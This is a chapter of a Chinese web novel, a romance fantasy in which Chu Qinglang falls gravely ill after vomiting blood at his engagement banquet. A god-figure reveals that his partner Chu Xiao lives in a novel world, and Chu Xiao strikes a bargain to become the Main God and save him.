楚青琅满头冷汗的抓住楚霄的手,“别动了,我没事。” 他之前每年都有体检,如果有什么病早就被查出来了,不会这样突然发作。 看这痛的地方, 顶多是急性肠胃炎。 至于为什么会吐血可能就是一种症状吧。 就是可惜了订婚宴,怎么那么坎坷呢? 之前要答应楚霄的时候地震加雪崩,这次来个吐血。 看来老天爷不想他们在一起。 楚青琅胡乱的猜想着, 甚至无奈的轻笑了一下, 换来楚霄的一叠声紧绷嘶哑的安慰, “嘘,很吵。” 楚青琅努力做出回应, 重新闭上眼。 并没有在意抱着他的楚霄, 一瞬间安静下来的状态。 他蜷缩在男人的怀中,瘦削的身体轻微的颤抖着,发丝凌乱的搭在蹙起的眉眼上,面容苍白,双唇紧紧抿着, 不时逸散出一声闷哼。 但是这种隐忍却更加让人担忧。 楚霄弓起脊背,捧着他的脸试图将手指塞进他的嘴里。 英俊高大的男人像对待小孩子一样,轻声细语,甚至带着哀求。 “青青,别咬自己,咬我,张嘴。” 但是楚青琅好似已经完全失去了意识。 洁白的齿紧紧咬合,血丝却还不断的从唇角溢出。 整个人仿佛化作了皮袋子,不断的呕吐出里面淤积的血水。 那血水洇染线条利落的下颌衣领,又被楚霄的手抹过,变成了模糊一片。 楚霄在这一瞬间感受到了一种莫大的茫然,整个世界都从他的感官中被剥离出去。 但是理智依然存在他的脑海中。 冷静。 直升机还没有调度过来,不过管家去打急救电话了。 楚家是有私人医生的,医疗设备也很齐全。 进来宴会的人都筛选过,不应该有什么岔子。 而且青青一直和他在一起,吃的喝的他们是一样的。 他现在不应该呆在这里,要先去私人医生那里稳定青青的情况。 冷静。 这样想着,楚霄小心的抱着楚青琅站起身。迈出去的第一步,像踩在棉花上一般踉跄了一步。 但是很快他就调整好状态,推开一直跟个苍蝇一样,围在身边的李织,朝着宴会厅门口走去。 他的青青会没事的。 突出的肩胛骨硌在掌心中,怀中的人的轻颤鲜明。 “您的爱人过往有什么疾病史吗?。” “楚总,我可以帮你联系一下资深医生。” “您不用顾及我们,先去……” 还停留在庭院的客人纷纷让路,他们西装革履,群袂飘扬,询问的姿态礼貌自然。 楚霄望去,却只觉得那关切望来的五官虚幻又扭曲。 他胸腔每一次的起伏,都夹杂着浑浊的气流声,冲进咽喉,连带着太阳穴都开始阵痛起来。 “滚开!” 一只手拉停他的脚步,回头望去,是管家理智沉稳的面容。 那双被细纹覆盖的双眼,平静又清醒。 “家主,救护车到了。” 他说:“这里我来处理。” 楚青琅虽然双眼紧闭,但是意识依然存在,闻言在心中叹了一口气。 还是管家靠谱。 楚霄真的一碰到关于他的事情,就变得不像自己。 整个人又惶恐又崩溃。 搂着他的手臂松开,那肌肤相贴洇出的暖意冷下,随即便是骤起的刺耳警报声。 有人在耳边一直询问着什么,却被嗡鸣声压下, 眼皮被扒开,视野范围中黑白光斑交替旋转。 楚青琅只感觉自己像是断线的木偶,任人摆弄。 不知过了多长时间,楚青琅从昏黑的深海中浮上来。 那让他感到难受的疼痛就像是幻梦一样消失不见,一直混沌的思绪也变得清明起来。 他筋疲力尽的睁开眼,发现自己来到了熟悉的地方——医院。 墙壁洁白,气氛冷清。 手边是输液装置,软管直直连着右手臂。 楚青琅只动了一下,就感到了一些桎梏。 咽喉极为涩痛,就像是在他昏迷的时候,有什么东西捅了捅。 楚青琅动了动唇。 “楚霄?” 声音一出口,落在空荡荡的病房中,极为沙哑。 出乎意料的,楚霄并不在他的身边。 楚青琅心中突然浮现出一丝的委屈来。 虽然之前他很不耐楚霄的黏人,但是真的当人不在他的面前,尤其是他刚从那种狼狈的状态中清醒后,他还是异常的想看见男人。 他坐起身,看了一眼手臂内侧的输液管,伸手就想要拔掉。 “青青!” 伴随着开门声,楚青琅指尖还没碰到贴在上边的胶布,就眼前一花,整个人埋进了坚实宽阔的胸膛,伸过去的手也被一把捉住。 “别动它,医生说你失血过多,需要输血,很快就好了。”楚霄试图安抚他的不适,“你没事,只是胃炎,很快就会好的。” 熟悉的气息萦绕在鼻端,是他挑选的香水。 心中一片绵软。 楚青琅顺势将头放进楚霄的肩窝,懒洋洋的蹭了蹭。 脸侧感觉到一股细密的痒意。 他撩起眼皮看了看,发现是新冒出来的胡茬。 不像以往那样刮的干净,使得楚霄整个人显出成熟颓废的气质来。 那双深邃的眼眸凝视着他。 因为输液变得凉凉的血管被男人用掌心捂住,楚青琅顿时觉得心中那一丝的委屈,消散的无影无踪。 楚青琅偏头吻了一下楚霄的脖颈,看着那蛰伏的筋脉跳动了一瞬,眼中闪过笑意。 他拉开距离用沙哑的嗓子慢吞吞说话。 “渴了。” “我给你倒水。” 楚霄眼皮痉挛了一瞬,压下那丝触动。 他按着楚青琅的肩膀将人放平,又仔细检查了一下输液管是否回血,才转身倒水去。 楚青琅就躺在那里,看着他的背影消失又出现。 他发现,男人身上穿的依然是订婚宴上的衣服,袖口胸口处还有着干涸的血渍。 是他当时呕出来的。 “来,慢慢喝。” 楚霄抬起他的头,拿着玻璃杯抵住他唇,仿佛在哄一个瘫痪在床的人一样。 楚青琅虽然享受他这样的方式,但依然感觉到了一丝的不好意思。 他握住楚霄的手,示意自己可以。 却被楚霄轻轻推开。 于是楚青琅还是张嘴就着他的手,将那半杯水缓缓的喝了进去。 喝完后,嗓子的不适虽然仍然存在,但是已经到了他可以忍受的程度。 咔哒一声,楚霄将杯子放到一旁的床头柜上,又换了一只手给他暖手。 楚青琅收回视线,疑惑的问:“有检查出来什么吗?” 青年原本是白玉般温润的肌肤,但是因为失血,在灯光的照耀下变得如薄纸一般,下颌处都显出青紫色的血管来。 那一双清亮的眼眸却一如既往,带着依赖信任,还有绵绵的情意。 直到那眉宇间攀上疑色,楚霄冷峻的面容柔和下来,“没事,医生说了只是胃炎,是你小时候生活的不太好留下的病根,好好调养就好了。” 他拇指轻抚那微凉的肌肤,带着愧疚道:“也是我这段时间一直在忙订婚宴的事情,没有好好督促你吃饭,所以才让你又复发了,是我不好青青。” 楚青琅眨了眨眼,有些心虚。 “这和你有什么关系?别什么乱七八糟的都往自己身上揽。” 明明是他自己喜欢吃什么凉的辣的。 在楚家,不光楚霄顺着他,管家也拿他没办法,他当然是想吃什么吃什么了毕竟楚霄让人带来的饭虽然清淡好消化,但是没劲。 楚霄倾身摸了摸他的脸,轻声说:“好,那青青我们先在医院呆一段时间好不好?直到彻底治疗好,我们再出去。” 这是真拿他当孩子了。 楚青琅也知道之前的情况是吓到男人了,毕竟一直呕血,确实很吓人。 “好,你说我什么时候出去我什么时候出去。” 他将自己朝被子里缩了缩,失血带来的后遗症还没消失,他现在有些困。 楚霄说:“好乖。” 楚请琅感受到眉宇间传来温软的触感,一触即分,最后残留在心中的念头是——订婚宴怎么办? 楚霄期待好久了。 虽然他们已经领证了吧,但这是不一样的。 楚青琅撑着睁眼,瞧着那模糊的人影认真道:“订婚宴等我好了再办,不会缺的。” 楚霄从鼻腔中挤出回应。 等到床上的人呼吸渐渐平稳后,他才彻底伏下身子。 那浅淡的呼吸长久存在。 他攥着被子的手缓缓放开,然后起身,将其一下一下压平。 他目不转睛的,瞧着那些许的褶皱。 在过来之前,穿着白大褂的医生表情严肃,手中的诊断报告哗啦响起,像是死神的刀锋铮鸣。 ——“我们目前综合分析了一下,从现有的情况还不能诊断是Dieulafoy病变患者有胃炎病史,本身胃炎就能导致胃黏膜糜烂损伤,而且不能排除是否有遗传因素。这次是初次呕血,虽然之前并未有别的症状,但是依然需要提高警惕。” ——“由于内镜检查和核素检查皆未曾发现出血点,这边建议患者住院治疗,如果反复发作性呕血,或者呕吐,这边能够及时治疗,以免失血过多休克死亡。” 医院的灯光很冷,这种冷从心底渗出,将楚霄全身冻结,尤其是最后那两个字落下,更是激起了他几近于怨毒的愤怒。 他的青青,那么乖巧的心软的孩子,凭什么要受到这种折磨? 遗传,抛弃,那两个贱人! 为什么不是他生下他? 他很干净,很健康,他不会遗弃他的孩子。 他会永远爱他,永远保护他。 心中的毒蛇在喷溅着毒液,楚霄的面容却是毫无异常的冷峻,话语从紧咬的齿间迸出。 他同意了住院治疗 楚青琅之后又呕了几次血,但是症状并没有先前那么严重。 这种状况几分钟后就会平息。 于是楚青琅就会掩盖一下子,免得又让楚霄大惊小怪,仿佛他下一刻就会死掉一样。 楚霄是没哭,但是那种眼神望过来的时候,让楚青琅觉得他还不如哭一下来的好。 这样绷着,他真的怕那天楚霄脑海中的那根弦断了。 他不会安慰人,他唯一有效的手段就是更加娇纵,不断指使着楚霄给他喂饭倒水。 每当这时候楚霄看着他,神情都会放松很多。 所以关于他真的没力气的事情…… 他不说,楚霄就不会知道。 到了半夜的时候楚青琅偶尔惊醒,发现楚霄一直睁着眼瞧他,面上被黑暗笼罩,看不清神色。 他就会搂着楚霄的脖颈,给几个亲亲安抚一下,然后将自己塞进他的怀中。 两人蜷缩在一起,汲取着彼此的温度。 送过来的病号饭也越来越清淡,虽然楚家的厨子都是千挑万选的,楚霄也懂得他的口味,但是架不住他天天吃。 还好这是私人医院,后院绿化做的很优秀,如果不是刻意寻找,不会有人找到他。 楚青琅懒洋洋的靠在长椅上,暖融融的阳光照着全身,周围风声和树叶摩擦的声响细碎。 他抻完腰后手臂放下搭在椅背上。 仰头眯眼,昏昏欲睡。 衣袖因为姿势露出手臂,白皙透亮的肌肤上满是青紫淤痕。 楚青琅咔嚓一声咬碎嘴里的糖,甜蜜到苦涩的滋味在舌尖迸发。 “漂亮哥哥,你在看什么?” 孩童好奇的声音在耳边响起,楚青琅声音淡淡,“想知道?” “想!” 楚青琅扬眉,“你过来。” 很快一颗毛茸茸的脑袋钻过来,身上带着鲜明的药味。 楚青琅本来想远离一瞬,但是又想起来自己身上的味道,估计和这个小孩身上差不了多少,也就不躲了。 他伸展着手臂,白皙修长的手指交叠成相框形状,框住一块蓝水晶,洁白的丝絮点缀在上面,偶尔有雪松的树叶探入。 “哇!天空好漂亮!!” “我之前怎么没发现?!” 小孩的手扒在他的手上,又凑近了些许,“就像是我妈妈给我的照片一样,在海边的那种!” 楚青琅皱了下眉,胳膊没动,任由小孩拿着他的手晃来晃去。 最后小孩细细的手指像他一样扣成方框,放在他面前,装作观察的样子,还发出咔嚓一声,就像手中拿着一个相机一样。 幼稚的面上一双葡萄似的眼珠里闪着亮光,小孩笑的灿烂。 “但还是哥哥最漂亮!” 楚青琅放下手,给了他一个脑瓜崩。 “男人要说帅。” 小孩放下手,笑嘻嘻的凑到他面前,捧着脸说:“是漂唔。” 楚青琅将最后一颗糖推进小孩的嘴里,看着小孩下意识闭上嘴,黝黑的眼眸亮晶晶的望过来。 “好吃?” 小孩疯狂点头,“好……好次!” 楚青琅伸出手摸了一下他细软的发,“该怎么叫?” 小孩含着糖朝他露出笑,“帅气哥哥。” 楚青琅满意的点头,一旁传来呼唤声,小孩回身挥舞了一下手臂,“哥哥我妈妈叫我啦,我先走啦。” “嗯,拜拜。” 楚青琅捏着掉落下来的雪松叶片,指甲掐入,空中顿时泛起一缕清新气息。 余光中,小孩跑了几步,又在兜里掏了什么,重新跑了回来。 “帅气哥哥,这是送你的。” 小孩朝他摊手,掌心上是一捧淡紫色的花朵,他有些愣住,小孩拿起他的手将花倒给他。 “妈妈说这是薰衣草,能让生病的人好的特别快!我有了之后就很快好了,哥哥也会好的!” “……谢谢。” 楚青琅偏头,看见穿着米色裙子的女士站在一旁,将扑过去的小孩抱进怀中,阳光下笑容格外温柔。 他回了个笑,视线却突然漂移了一瞬。 穿着黑色衬衣的男人擦过抱着孩子远去女士,面容冷峻,目标明确的朝他走来。 啊,被抓到了。 楚青琅低头看了看掌心中的花,随后将花放进了病号服口袋。 男人已经站在了他的面前,眉眼沉郁,神情间的焦躁倒是逐渐消散。 楚青琅抬头,看着他冷着一张脸,他笑了一下。 “今天天气很好。”楚青琅伸手,将人拽到了旁边坐下,“别气了,陪我呆一会儿。” 楚霄的手骨节硬朗,对比他来说温度很高,正好适合他取暖。 仿佛感受到他的想法,楚霄顺势将他的手合拢在掌心。 楚青琅修长白皙的手被握成一团,炽热的温度将手指上的凉意驱散,再加上阳光的照射,楚青琅觉得更加舒服,浑身都放松了。 他倾斜身子,挣开紧握的手,举起一朵薰衣草的花朵放到楚霄面前,“你看,好看吗?” 楚霄浓黑的眼眸映出那那浅淡柔软的颜色,带着些许的意外。 那花被揉搓的满是折痕,怎么也称不上好看。 但是他还是配合的说:“好看。” 楚青琅恶劣的将花别在楚霄的耳侧,在男人下意识的想要伸手拿下的时候慢悠悠道:“既然好看,就送你了,不准动。” 话音刚落下,楚霄的手就放下了。 西装革履的男人,面容冷峻,耳边却不伦不类的戴着一朵淡紫色的花,望过来时,楚青琅不由得笑出了声。 “你怎么这么好欺负。” “只被你欺负。” 楚霄俯身咬了一下他的脸,力道并不重,但还是留下了一片的红。 男人稍长的发丝垂在额头上,弄出瘙痒感,楚青琅禁不住,偏了偏头。 他将人推开,靠着椅背说:“嗯,这是你说的,陪我睡一会儿。” 楚霄眼中满是细密的血丝,“回去休息好不好?在这里会受凉的。” 楚青琅哼了一声,“不要,我就要在这里。” 楚霄没有回话,他一向不会拒绝青青的任何要求。 下一刻,楚青琅感觉整个人腾空而起。 他被楚霄打横抱起放到了腿上,上半身被压着靠在男人的胸口。 从后面望去,除了一双垂下的腿,高大的男人将青年全然遮蔽。 楚霄低头,吻在他柔软的发顶。 “睡吧,我陪你。” 声音连带着胸膛震动,砰砰砰的心跳声透过皮肉传递在耳畔,沉静而富有力量。 这种声音一直在耳边盘旋,宛如催眠曲一样,将楚青琅拉入了黑暗。 时间一点一点的流逝。 楚霄望着远处的湖水和湛蓝的天空,默数着搭在脖颈间的呼吸。 掌心中的温度被青年的手染凉,他就轻轻松开手,在长椅上很狠摩擦几下,用粗糙狠厉的办法让其温度升高,然后重新握上去。 直到青年的呼吸彻底平静下来,楚霄才不再持续那种方式。 他将人抱起,就准备回到病房。 在他迈开脚步的瞬间,一阵风卷着淡紫色的花朵落在了怀中的青年身上。 楚霄低头,发现脚下不知何时布满了薰衣草的花瓣。 他思索了一下,将怀中轻飘飘的人放在长椅上,弯腰捡起了那掉落的紫蓝色的花朵。 翠绿的草地上,那些紫蓝色花朵夹在中间,像是闪烁的星星。 “咳咳!!” 一阵闷咳声传来,那些星星被洒上了细密的红。 楚霄猛地抬头,却被一股温热感扑了半脸。 眼眸被鲜血沁入,所有的一切仿佛被拢上一层红纱。 他瞳孔骤然缩小,脊骨仿佛被敲碎了一般,从心脏到全身传来剧烈的疼痛。 “青青?!” 他刚要站起身,那朝他倒下的身影,就像是被按下了暂停键一样,悬在了半空。 楚霄可以清楚的看见青年俊美的面孔上,双眼仍未睁开,只有鲜血顺着唇角下颌流淌。 “谁?” 楚霄第一时间挡住青年。 这种熟悉的感觉不是幻觉。 楚霄压下纷乱思绪和急切的心情,冷静分析着。 这种超现实的手段,他不是第一次见到。 第一次是在雪山见到的。 当时那个所谓的主神,说会在他绝望的时候会出现,而等他们被救下后,青青就出现了呕血的症状。 是祂做的?! 一道仿佛存在已久的身影出现在不远处。 祂面容模糊,看过来,冰冷的嗓音中带着嘲意。 “不用这样看吾,吾不会做这样的事情,这只是他的惩罚。” 楚霄攥紧手,指尖刺入掌心,半边脸被鲜血沾染,英俊的面容显出诡谲狠辣。 “谁定的惩罚?” 祂朝楚霄走来,却并没有第一时间回答他的话,而是站在青年的身旁,在楚霄带着冷意的目光中,抬手虚虚摸了一下那柔软的发。 “你们救不活他,他呕血只是因为他之前有这种症状,为了更加顺理成章,他才会呕血到死。如果他之前有心脏问题,那他最后就会心脏病发。” “所以,不是他生病了,而是那些病找上了他。” 祂说的话每个字楚霄都能听懂,但是连起来,他真的不明白是什么意思。 楚霄被定在原地,眼睁睁的看着祂又捏了捏青年的耳垂。 祂好似满意,挥手青年身上的禁锢去掉,将人放到在了椅子上。 鲜血很快重新从那苍白的唇边涌出,直至染红了青年的脖颈和椅面,顺着滴落在地上,压塌了草坪和花朵。 青年的面色越发灰败,楚霄脖颈额角迸出青筋。 他极力挣扎着,但是哪怕是手臂被自己掰断,也上前不了。 “你救救他,你要什么我都答应你,救救他啊!!!” 祂却只是静静的看着,语气冷漠机械。 “不明白?” “那吾重新给你讲。” “你是这个世界的最大反派,葛元是主角攻,李织是主角受,而他,原本是一个恶毒炮灰。因为觊觎主角攻,不断的找主角受的茬,但是主角攻嫌弃他是人尽可夫的家伙,异常疏远。所以在他受你蛊惑给主角攻下药,想要生米煮成熟饭后,被清醒后的主角攻弄死。” “但是你偏离了剧情,你没有收养主角攻,反而收养了他,你没有爱上主角受,反而爱上了他。” “整个世界被他彻底搅乱。” 明明是面对着青年,但是祂的头颅却扭了一百八十度,看向了满眼绝望和杀意的楚霄。 “所以天道需要抹杀病毒,纠正世界线,而他,必死。” 话音落下,楚霄眼睁睁的看着青年的唇蠕动了一下,然后细微的呼吸彻底停止。 青青? 青青青青青青青青青青青青青青青青青青青青青青青青青青青青青青青青青青 周身控制他的力量被松开,楚霄猛地扑到在地。 他仿佛不知道四肢如何使用,迈一步就倒一步,那身整洁的西装很快被泥土血渍沾染。 最终,他还是来到了青年的面前。 他伸出手,将人一把搂紧。 先前还扑洒在脖颈的呼吸消失,还能暖热的体温渐渐消散。 别害怕,没事的青青。 医生说了有救的。 祂在说谎,你不是什么恶毒炮灰,你不会必死,你不会死的。 楚霄不知道自己在做什么。 他叫他了吗?他求祂了吗?谁能救救他的孩子? 还是他抱着青年,在朝着医院跑去? 只是等反应过来,他已经在拿着匕首向着葛元捅去,那双震惊的双眸映出的,是他扭曲的笑。 他不知道祂说的是真的假的,但是如果这个世界是一个小说世界。 那么主角死亡的话。 世界会重启吧。 到时候,他的青青会活的。 他依然会爱上他的青青,他永远会爱上他的青青。 “愚蠢。” 冰冷的声音从一旁响起,刺下去的匕首瞬间消失,周围的场景一花,楚霄发现自己重新回到了私人医院的湖旁。 青年依然在痛苦的喘息着,鲜血不停的从唇边溢出。 但是楚霄却在这一瞬间,感到了无与伦比的喜悦。 他的青青还活着。 是祂做的。 “你有什么目的。”楚霄执迷的望着青年每一次的喘息,面容上的癫狂渐渐隐没,变得阴郁冷酷起来,“需要我做什么?” 祂像是对他这么快恢复理智感到惊异,“若是吾只是感到好玩?” 楚霄重新将青年搂在怀中,低头吻住他颤抖的唇。 鲜血沾染两人半身,祂只是冷冷的瞧着。 最终,楚霄抬头。 “我们做个交易,我需要你救青青,至于你要我做什么都可以。” 良久,祂面上的面容模糊不清,但是像是在笑。 狰狞的笑,带着疯狂。 “不愧是小世界中,唯一自主觉醒意识的人。” “那么,交易成立。吾帮你救人,你需要经历百次轮回淬炼灵魂,然后代替吾成为主神。” “成功不了的话,就去死吧。” “答应的这么快干嘛?也不怕被骗。” 在两人的交谈中,楚青琅自从睡着后,灵魂就仿佛抽离出来,一直漂浮在一旁。 不知何时沉浸记忆中的意识也恢复了清醒,他想起了一切。 不过就算如此,楚青琅看着楚霄不假思索的同意,还是异常生气。 他恨恨的上前,踢了男人一脚。 但是他们仿佛不在一个图层。 楚青琅根本碰不到男人。 原来这就是楚霄之所以是主神,还有他莫名奇妙死亡的原因。 但是他后面为什么会失去了这部分的记忆? 楚霄又怎么会一直不来找他? 仿佛察觉到了他的想法,面前的场景陡然变化。 他站到了病房中,一旁的窗户外,叶子变得金黄。 楚青琅看着祂站在病床旁,低头望着带上呼吸机沉睡的青年。 “百次轮回,没有记忆,他还能记住你吗?不会的。”祂现在的语气比和楚霄讲话时平和多了,“成为了主神,在无穷力量的冲击下,最初的感情不过是大海上的一片叶子,只会沉底。” 楚青琅瞪大了眼睛,看着祂弯腰将呼吸机从他的面上拿下,躺在病床上的,属于他的身体呼吸顿时沉重急促起来。 不是,这个前主神是有病吧! 交易都不守的吗? 而且楚霄记不记得关祂啥事!!摘他呼吸机干嘛?! 好了,这下子等楚霄回来他估计都火化了。 祂拨弄着他的发,看着他渐渐停止呼吸。 “吾都未曾记住,他怎么可能会记住。吾为你解脱。” 楚青琅气的恨不得上前揍他一顿! 这是什么自说自话的人,不,神! 面前的场景缓缓变得模糊,他所经历的一切变成了一张张单薄的相片漂浮在他的面前。 最后,楚青琅只模糊看见了几张像是楚霄回来的场景。 那时的楚霄已经变成了他熟悉的模样。 随后一个晃动,所有的记忆散成荧光铺满了视野 他不由得眨了下眼,周身顿时传来温热的水流触感。 楚青琅猛地坐起身,发现自己已经重新回到了无尽星海。 一旁站着的,不是楚霄还是谁? 那双猩红的眼眸,同最后被他鲜血溅上的眼眸重合。 眼中浓郁的熟悉的感情脉脉流淌出来,将他全然包裹。 他呼唤着他,“青青。” 楚青琅站起身,记忆带来的充实和熟悉感,使得他前所未有的踏实。 在漫天荧光星河下,无尽的灰雾中。 他笑着朝他伸出了手。 “我回来了,楚霄。”